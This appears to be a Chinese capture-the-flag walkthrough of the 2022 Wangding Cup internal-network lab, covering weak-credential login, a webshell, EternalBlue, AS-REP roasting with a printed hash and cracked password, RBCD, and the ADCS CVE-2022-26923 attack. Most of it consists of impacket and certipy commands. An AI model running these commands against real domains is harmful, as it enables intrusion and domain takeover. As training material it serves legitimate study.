2022网鼎杯半决赛复盘
2022网鼎杯半决赛复盘
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。
flag01
fscan扫描:./fscan -h 39.99.130.10
没扫出什么,发现wordpress 6.2.6版本
admin:123456登陆后台
写一个马,蚁剑连接
再根据wp的规则,找到木马的位置,蚁剑连接找到flag1
flag02
上传fscan扫描
172.22.15.13 DC
172.22.15.18 XR-CA.xiaorang.lab
172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601
172.22.15.26 外网
172.22.15.35 XIAORANG\XR-0687
先打24的永恒之蓝
proxychains msfconsole |
没办法直接拿flag
打一个pth来横向
flag03
访问24的web服务,admin:123456登录
在后台管理里面导出
全部导出
lixiuying@xiaorang.lab |
然后打一个AS-ERP Roasting
proxychains impacket-GetNPUsers -dc-ip 172.22.15.13 -usersfile username.txt xiaorang.lab/ |
跑出来两个TGT
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:a94c39871a7031f95537e901527a8030$a7274636b4034cf6f270346c834f022b5fdecbe974b26eef5040f8eb417f4cb12e69ee3ba1f4fa4ee9ce035d9ae96821d631a6ae81adb44f29bdd546535e7ed770727a1b66864dbdb9817803881a306558fb5337ea1c5eee732f0ba8d392c8fe0ed6772999ec8c3cbf241ed7d40bb0bed5932ea23a7fb20a17b1554686834f43373cb1ebcbd727c7bed525c846b41c443d702212b5fe963464950c57e56b58bc6380b1f854b02d40e5144501b1998c10ba8f6e2335560e9de873c5b66bd22d052d1eed01c22b330c55fdd2c6d17e82534acb66bfc049251546944d31973b6c0c85373eb1fd674cc9ec9d1da6 |
爆破一下
lixiuying:winniethepooh |
做一下域信息收集
proxychains python bloodhound.py -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp |
发现域用户 LIXIUYING 对计算机 XR-0687$ 具有 Generic Write 权限。bloodhound里面说了这个可以打RBCD
修改hosts
172.22.15.35 XR-0687.xiaorang.lab |
添加机器账号
proxychains -q impacket-addcomputer xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'hacker$' -computer-pass 'Password@973' |
修改msDS-AllowedToActOnBehalfOfOtherIdentity
proxychains -q impacket-rbcd xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'hacker$' |
申请票据
proxychains -q impacket-getST xiaorang.lab/'hacker$':'Password@973' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
导入票据
export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache |
然后打PTT拿flag
proxychains -q impacket-smbexec -no-pass -k XR-0687.xiaorang.lab -codec gbk |
flag04
查一下15的证书
proxychains -q certipy-ad find -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -vulnerable -stdout |
接下来打打ADCS,这里是CVE-2022-26923
生成证书模板
proxychains certipy-ad account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user Test2 -pass Test1234 -dns 'XR-DC01.xiaorang.lab' |
第二步要执行两次
接下来用这个工具
https://github.com/AlmondOffSec/PassTheCert/tree/main/Python
利用上面生成的 pfx 证书配置域控的 RBCD 给上面创建的HACK$
certipy-ad cert -pfx xr-dc01.pfx -nokey -out user.crt |
申请票据
proxychains -q impacket-getST xiaorang.lab/'hacker$':'Password@973' -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
导入票据
export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache |
PTT
proxychains -q impacket-smbexec -no-pass -k XR-DC01.xiaorang.lab |